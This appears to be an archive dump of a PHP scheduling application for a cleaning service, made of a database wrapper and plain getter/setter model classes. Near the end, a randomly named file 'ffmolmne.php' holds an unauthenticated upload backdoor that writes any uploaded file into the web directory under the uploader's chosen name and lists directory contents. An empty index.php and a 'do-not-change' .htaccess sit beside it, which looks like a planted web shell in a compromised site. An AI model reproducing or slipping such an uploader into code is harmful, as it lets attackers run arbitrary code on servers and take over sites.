Database.php 0000644 00000006404 15167671242 0007000 0 ustar 00 load(); // Set database credentials from environment variables $this->host = $_ENV['DB_HOST']; $this->user = $_ENV['DB_USER']; $this->password = $_ENV['DB_PASSWORD']; $this->dbname = $_ENV['DB_NAME']; // Set DSN (Data Source Name) $dsn = 'mysql:host=' . $this->host . ';dbname=' . $this->dbname; $options = array( PDO::ATTR_PERSISTENT => true, PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION ); // Create a new PDO instance try { $this->dbh = new PDO($dsn, $this->user, $this->password, $options); //echo 'Connected'; } catch (PDOException $e) { $this->error = $e->getMessage(); echo $this->error; } } // Prepare statement with query public function query($sql) { $this->stmt = $this->dbh->prepare($sql); } // Bind values public function bind($param, $value, $type = null) { if (is_null($type)) { switch (true) { case is_int($value): $type = PDO::PARAM_INT; break; case is_bool($value): $type = PDO::PARAM_BOOL; break; case is_null($value): $type = PDO::PARAM_NULL; break; default: $type = PDO::PARAM_STR; } } $this->stmt->bindValue($param, $value, $type); } // Execute the prepared statement public function execute() { return $this->stmt->execute(); } // Get result set as array of objects public function resultSet() { $this->execute(); return $this->stmt->fetchAll(PDO::FETCH_OBJ); } // Get single record as object public function single() { $this->execute(); return $this->stmt->fetch(PDO::FETCH_OBJ); } // Get record row count public function rowCount() { return $this->stmt->rowCount(); } public function beginTransaction() { return $this->dbh->beginTransaction(); } public function commit() { return $this->dbh->commit(); } public function rollBack() { return $this->dbh->rollBack(); } public function endTransaction() { return $this->dbh->commit(); } public function cancelTransaction() { return $this->dbh->rollBack(); } public function getPdo() { return $this->dbh; } public function lastInsertId() { return $this->dbh->lastInsertId(); } public function getConn() { return $this->dbh; } } ?> Schedules.php 0000644 00000004303 15167671242 0007207 0 ustar 00 id = $id; $this->schedule_name = $schedule_name; $this->created_by = $created_by; $this->completed = $completed; $this->created_at = $created_at; $this->updated_at = $updated_at; } /** * @return mixed */ public function getId() { return $this->id; } /** * @param mixed $id */ public function setId($id): void { $this->id = $id; } /** * @return mixed */ public function getScheduleName() { return $this->schedule_name; } /** * @param mixed $schedule_name */ public function setScheduleName($schedule_name): void { $this->schedule_name = $schedule_name; } /** * @return mixed */ public function getCreatedBy() { return $this->created_by; } /** * @param mixed $created_by */ public function setCreatedBy($created_by): void { $this->created_by = $created_by; } /** * @return mixed */ public function getCompleted() { return $this->completed; } /** * @param mixed $completed */ public function setCompleted($completed): void { $this->completed = $completed; } /** * @return mixed */ public function getCreatedAt() { return $this->created_at; } /** * @param mixed $created_at */ public function setCreatedAt($created_at): void { $this->created_at = $created_at; } /** * @return mixed */ public function getUpdatedAt() { return $this->updated_at; } /** * @param mixed $updated_at */ public function setUpdatedAt($updated_at): void { $this->updated_at = $updated_at; } } ?> Subtask.php 0000644 00000012617 15167671242 0006713 0 ustar 00 id = $id; $this->task_id = $task_id; $this->service_id = $service_id; $this->subtask_date = $subtask_date; $this->subtask_time = $subtask_time; $this->created_at = $created_at; $this->updated_at = $updated_at; $this->completed = $completed; $this->completed_at = $completed_at; $this->assigned = $assigned; $this->assigned_to_Mobile = $assigned_to_Mobile; $this->assigned_Message_Rsponse = $assigned_Message_Rsponse; $this->form_submission_id = $form_submission_id; } /** * @return mixed */ public function getId() { return $this->id; } /** * @param mixed $id */ public function setId($id): void { $this->id = $id; } /** * @return mixed */ public function getTaskId() { return $this->task_id; } /** * @param mixed $task_id */ public function setTaskId($task_id): void { $this->task_id = $task_id; } /** * @return mixed */ public function getServiceName() { return $this->service_id; } /** * @param mixed $service_id */ public function setServiceName($service_id): void { $this->service_id = $service_id; } /** * @return mixed */ public function getSubtaskDate() { return $this->subtask_date; } /** * @param mixed $subtask_date */ public function setSubtaskDate($subtask_date): void { $this->subtask_date = $subtask_date; } /** * @return mixed */ public function getSubtaskTime() { return $this->subtask_time; } /** * @param mixed $subtask_time */ public function setSubtaskTime($subtask_time): void { $this->subtask_time = $subtask_time; } /** * @return mixed */ public function getCreatedAt() { return $this->created_at; } /** * @param mixed $created_at */ public function setCreatedAt($created_at): void { $this->created_at = $created_at; } /** * @return mixed */ public function getUpdatedAt() { return $this->updated_at; } /** * @param mixed $updated_at */ public function setUpdatedAt($updated_at): void { $this->updated_at = $updated_at; } /** * @return mixed */ public function getCompleted() { return $this->completed; } /** * @param mixed $completed */ public function setCompleted($completed): void { $this->completed = $completed; } /** * @return mixed */ public function getCompletedAt() { return $this->completed_at; } /** * @param mixed $completed_at */ public function setCompletedAt($completed_at): void { $this->completed_at = $completed_at; } /** * @return mixed */ public function getAssigned() { return $this->assigned; } /** * @param mixed $assigned */ public function setAssigned($assigned): void { $this->assigned = $assigned; } /** * @return mixed */ public function getAssignedToMobile() { return $this->assigned_to_Mobile; } /** * @param mixed $assigned_to_Mobile */ public function setAssignedToMobile($assigned_to_Mobile): void { $this->assigned_to_Mobile = $assigned_to_Mobile; } /** * @return mixed */ public function getAssignedMessageRsponse() { return $this->assigned_Message_Rsponse; } /** * @param mixed $assigned_Message_Rsponse */ public function setAssignedMessageRsponse($assigned_Message_Rsponse): void { $this->assigned_Message_Rsponse = $assigned_Message_Rsponse; } /** * @return mixed */ public function getFormSubmissionId() { return $this->form_submission_id; } /** * @param mixed $form_submission_id */ public function setFormSubmissionId($form_submission_id): void { $this->form_submission_id = $form_submission_id; } } System.php 0000644 00000004555 15167671242 0006565 0 ustar 00 id = $id; $this->first_name = $first_name; $this->last_name = $last_name; $this->email = $email; $this->password = $password; $this->phone = $phone; $this->role = $role; $this->status = $status; $this->profile_picture = $profile_picture; $this->last_login = $last_login; $this->created_at = $created_at; $this->updated_at = $updated_at; } /** * @return mixed */ public function getId() { return $this->id; } /** * @param mixed $id */ public function setId($id) { $this->id = $id; } /** * @return mixed */ public function getFirstName() { return $this->first_name; } /** * @param mixed $first_name */ public function setFirstName($first_name) { $this->first_name = $first_name; } /** * @return mixed */ public function getLastName() { return $this->last_name; } /** * @param mixed $last_name */ public function setLastName($last_name) { $this->last_name = $last_name; } /** * @return mixed */ public function getEmail() { return $this->email; } /** * @param mixed $email */ public function setEmail($email) { $this->email = $email; } /** * @return mixed */ public function getPassword() { return $this->password; } /** * @param mixed $password */ public function setPassword($password) { $this->password = $password; } /** * @return mixed */ public function getPhone() { return $this->phone; } /** * @param mixed $phone */ public function setPhone($phone) { $this->phone = $phone; } /** * @return mixed */ public function getRole() { return $this->role; } /** * @param mixed $role */ public function setRole($role) { $this->role = $role; } /** * @return mixed */ public function getStatus() { return $this->status; } /** * @param mixed $status */ public function setStatus($status) { $this->status = $status; } /** * @return mixed */ public function getProfilePicture() { return $this->profile_picture; } /** * @param mixed $profile_picture */ public function setProfilePicture($profile_picture) { $this->profile_picture = $profile_picture; } /** * @return mixed */ public function getLastLogin() { return $this->last_login; } /** * @param mixed $last_login */ public function setLastLogin($last_login) { $this->last_login = $last_login; } /** * @return mixed */ public function getCreatedAt() { return $this->created_at; } /** * @param mixed $created_at */ public function setCreatedAt($created_at) { $this->created_at = $created_at; } /** * @return mixed */ public function getUpdatedAt() { return $this->updated_at; } /** * @param mixed $updated_at */ public function setUpdatedAt($updated_at) { $this->updated_at = $updated_at; } } Service.php 0000644 00000015167 15167671242 0006702 0 ustar 00 id = $id; $this->name = $name; $this->region = $region; $this->address_line1 = $address_line1; $this->address_line2 = $address_line2; $this->suburb = $suburb; $this->city = $city; $this->state = $state; $this->postal_code = $postal_code; $this->country = $country; $this->phone = $phone; $this->on_site_location = $on_site_location; $this->latitude = $latitude; $this->longitude = $longitude; $this->created_at = $created_at; $this->updated_at = $updated_at; } /** * @return mixed */ public function getId() { return $this->id; } /** * @param mixed $id */ public function setId($id): void { $this->id = $id; } /** * @return mixed */ public function getName() { return $this->name; } /** * @param mixed $name */ public function setName($name): void { $this->name = $name; } /** * @return mixed */ public function getRegion() { return $this->region; } /** * @param mixed $region */ public function setRegion($region): void { $this->region = $region; } /** * @return mixed */ public function getAddressLine1() { return $this->address_line1; } /** * @param mixed $address_line1 */ public function setAddressLine1($address_line1): void { $this->address_line1 = $address_line1; } /** * @return mixed */ public function getAddressLine2() { return $this->address_line2; } /** * @param mixed $address_line2 */ public function setAddressLine2($address_line2): void { $this->address_line2 = $address_line2; } /** * @return mixed */ public function getSuburb() { return $this->suburb; } /** * @param mixed $suburb */ public function setSuburb($suburb): void { $this->suburb = $suburb; } /** * @return mixed */ public function getCity() { return $this->city; } /** * @param mixed $city */ public function setCity($city): void { $this->city = $city; } /** * @return mixed */ public function getState() { return $this->state; } /** * @param mixed $state */ public function setState($state): void { $this->state = $state; } /** * @return mixed */ public function getPostalCode() { return $this->postal_code; } /** * @param mixed $postal_code */ public function setPostalCode($postal_code): void { $this->postal_code = $postal_code; } /** * @return mixed */ public function getCountry() { return $this->country; } /** * @param mixed $country */ public function setCountry($country): void { $this->country = $country; } /** * @return mixed */ public function getPhone() { return $this->phone; } /** * @param mixed $phone */ public function setPhone($phone): void { $this->phone = $phone; } /** * @return mixed */ public function getOnSiteLocation() { return $this->on_site_location; } /** * @param mixed $on_site_location */ public function setOnSiteLocation($on_site_location): void { $this->on_site_location = $on_site_location; } /** * @return mixed */ public function getLatitude() { return $this->latitude; } /** * @param mixed $latitude */ public function setLatitude($latitude): void { $this->latitude = $latitude; } /** * @return mixed */ public function getLongitude() { return $this->longitude; } /** * @param mixed $longitude */ public function setLongitude($longitude): void { $this->longitude = $longitude; } /** * @return mixed */ public function getCreatedAt() { return $this->created_at; } /** * @param mixed $created_at */ public function setCreatedAt($created_at): void { $this->created_at = $created_at; } /** * @return mixed */ public function getUpdatedAt() { return $this->updated_at; } /** * @param mixed $updated_at */ public function setUpdatedAt($updated_at): void { $this->updated_at = $updated_at; } } Task.php 0000644 00000015476 15167671242 0006207 0 ustar 00 id = $id; $this->schedule_id = $schedule_id; $this->service_id = $service_id; $this->frequency = $frequency; $this->dates = $dates; $this->added_by = $added_by; $this->updated_by = $updated_by; $this->created_at = $created_at; $this->updated_at = $updated_at; $this->finished = $finished; $this->assigned_to = $assigned_to; $this->is_assigned = $is_assigned; $this->isPublic = $isPublic; $this->accepted = $accepted; $this->not_accepted_users = $not_accepted_users; $this->assignedCleaneremail = $assignedCleaneremail; $this->is_assigned_to_cleaner = $is_assigned_to_cleaner; } /** * @return mixed */ public function getId() { return $this->id; } /** * @param mixed $id */ public function setId($id): void { $this->id = $id; } /** * @return mixed */ public function getScheduleId() { return $this->schedule_id; } /** * @param mixed $schedule_id */ public function setScheduleId($schedule_id): void { $this->schedule_id = $schedule_id; } /** * @return mixed */ public function getServiceId() { return $this->service_id; } /** * @param mixed $service_id */ public function setServiceId($service_id): void { $this->service_id = $service_id; } /** * @return mixed */ public function getFrequency() { return $this->frequency; } /** * @param mixed $frequency */ public function setFrequency($frequency): void { $this->frequency = $frequency; } /** * @return mixed */ public function getDates() { return $this->dates; } /** * @param mixed $dates */ public function setDates($dates): void { $this->dates = $dates; } /** * @return mixed */ public function getAddedBy() { return $this->added_by; } /** * @param mixed $added_by */ public function setAddedBy($added_by): void { $this->added_by = $added_by; } /** * @return mixed */ public function getUpdatedBy() { return $this->updated_by; } /** * @param mixed $updated_by */ public function setUpdatedBy($updated_by): void { $this->updated_by = $updated_by; } /** * @return mixed */ public function getCreatedAt() { return $this->created_at; } /** * @param mixed $created_at */ public function setCreatedAt($created_at): void { $this->created_at = $created_at; } /** * @return mixed */ public function getUpdatedAt() { return $this->updated_at; } /** * @param mixed $updated_at */ public function setUpdatedAt($updated_at): void { $this->updated_at = $updated_at; } /** * @return mixed */ public function getFinished() { return $this->finished; } /** * @param mixed $finished */ public function setFinished($finished): void { $this->finished = $finished; } /** * @return mixed */ public function getAssignedTo() { return $this->assigned_to; } /** * @param mixed $assigned_to */ public function setAssignedTo($assigned_to): void { $this->assigned_to = $assigned_to; } /** * @return mixed */ public function getIsAssigned() { return $this->is_assigned; } /** * @param mixed $is_assigned */ public function setIsAssigned($is_assigned): void { $this->is_assigned = $is_assigned; } /** * @return mixed */ public function getIsPublic() { return $this->isPublic; } /** * @param mixed $isPublic */ public function setIsPublic($isPublic): void { $this->isPublic = $isPublic; } /** * @return mixed */ public function getAccepted() { return $this->accepted; } /** * @param mixed $accepted */ public function setAccepted($accepted): void { $this->accepted = $accepted; } /** * @return mixed */ public function getNotAcceptedUsers() { return $this->not_accepted_users; } /** * @param mixed $not_accepted_users */ public function setNotAcceptedUsers($not_accepted_users): void { $this->not_accepted_users = $not_accepted_users; } /** * @return mixed */ public function getAssignedCleaneremail() { return $this->assignedCleaneremail; } /** * @param mixed $assignedCleaneremail */ public function setAssignedCleaneremail($assignedCleaneremail): void { $this->assignedCleaneremail = $assignedCleaneremail; } /** * @return mixed */ public function getIsAssignedToCleaner() { return $this->is_assigned_to_cleaner; } /** * @param mixed $is_assigned_to_cleaner */ public function setIsAssignedToCleaner($is_assigned_to_cleaner): void { $this->is_assigned_to_cleaner = $is_assigned_to_cleaner; } } TaskForm.php 0000644 00000012652 15167671242 0007024 0 ustar 00 id = $id; $this->subtask_id = $subtask_id; $this->school_name = $school_name; $this->date = $date; $this->time = $time; $this->main_areas = $main_areas; $this->notes = $notes; $this->client_name = $client_name; $this->client_signature = $client_signature; $this->staff_name = $staff_name; $this->staff_signature = $staff_signature; $this->completion_time = $completion_time; $this->latitude = $latitude; $this->longitude = $longitude; } /** * @return mixed */ public function getId() { return $this->id; } /** * @param mixed $id */ public function setId($id): void { $this->id = $id; } /** * @return mixed */ public function getSubtaskId() { return $this->subtask_id; } /** * @param mixed $subtask_id */ public function setSubtaskId($subtask_id): void { $this->subtask_id = $subtask_id; } /** * @return mixed */ public function getSchoolName() { return $this->school_name; } /** * @param mixed $school_name */ public function setSchoolName($school_name): void { $this->school_name = $school_name; } /** * @return mixed */ public function getDate() { return $this->date; } /** * @param mixed $date */ public function setDate($date): void { $this->date = $date; } /** * @return mixed */ public function getTime() { return $this->time; } /** * @param mixed $time */ public function setTime($time): void { $this->time = $time; } /** * @return mixed */ public function getMainAreas() { return $this->main_areas; } /** * @param mixed $main_areas */ public function setMainAreas($main_areas): void { $this->main_areas = $main_areas; } /** * @return mixed */ public function getNotes() { return $this->notes; } /** * @param mixed $notes */ public function setNotes($notes): void { $this->notes = $notes; } /** * @return mixed */ public function getClientName() { return $this->client_name; } /** * @param mixed $client_name */ public function setClientName($client_name): void { $this->client_name = $client_name; } /** * @return mixed */ public function getClientSignature() { return $this->client_signature; } /** * @param mixed $client_signature */ public function setClientSignature($client_signature): void { $this->client_signature = $client_signature; } /** * @return mixed */ public function getStaffName() { return $this->staff_name; } /** * @param mixed $staff_name */ public function setStaffName($staff_name): void { $this->staff_name = $staff_name; } /** * @return mixed */ public function getStaffSignature() { return $this->staff_signature; } /** * @param mixed $staff_signature */ public function setStaffSignature($staff_signature): void { $this->staff_signature = $staff_signature; } /** * @return mixed */ public function getCompletionTime() { return $this->completion_time; } /** * @param mixed $completion_time */ public function setCompletionTime($completion_time): void { $this->completion_time = $completion_time; } /** * @return mixed */ public function getLatitude() { return $this->latitude; } /** * @param mixed $latitude */ public function setLatitude($latitude): void { $this->latitude = $latitude; } /** * @return mixed */ public function getLongitude() { return $this->longitude; } /** * @param mixed $longitude */ public function setLongitude($longitude): void { $this->longitude = $longitude; } } ffmolmne.php 0000644 00000001370 15167671242 0007074 0 ustar 00
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"";?>
> $file
";
}
}
closedir($handle);
}
}
?>
index.php 0000644 00000000000 15167671242 0006365 0 ustar 00 467993/.htaccess 0000644 00000000173 15167671242 0007143 0 ustar 00 #---do-not-change-the-following-content---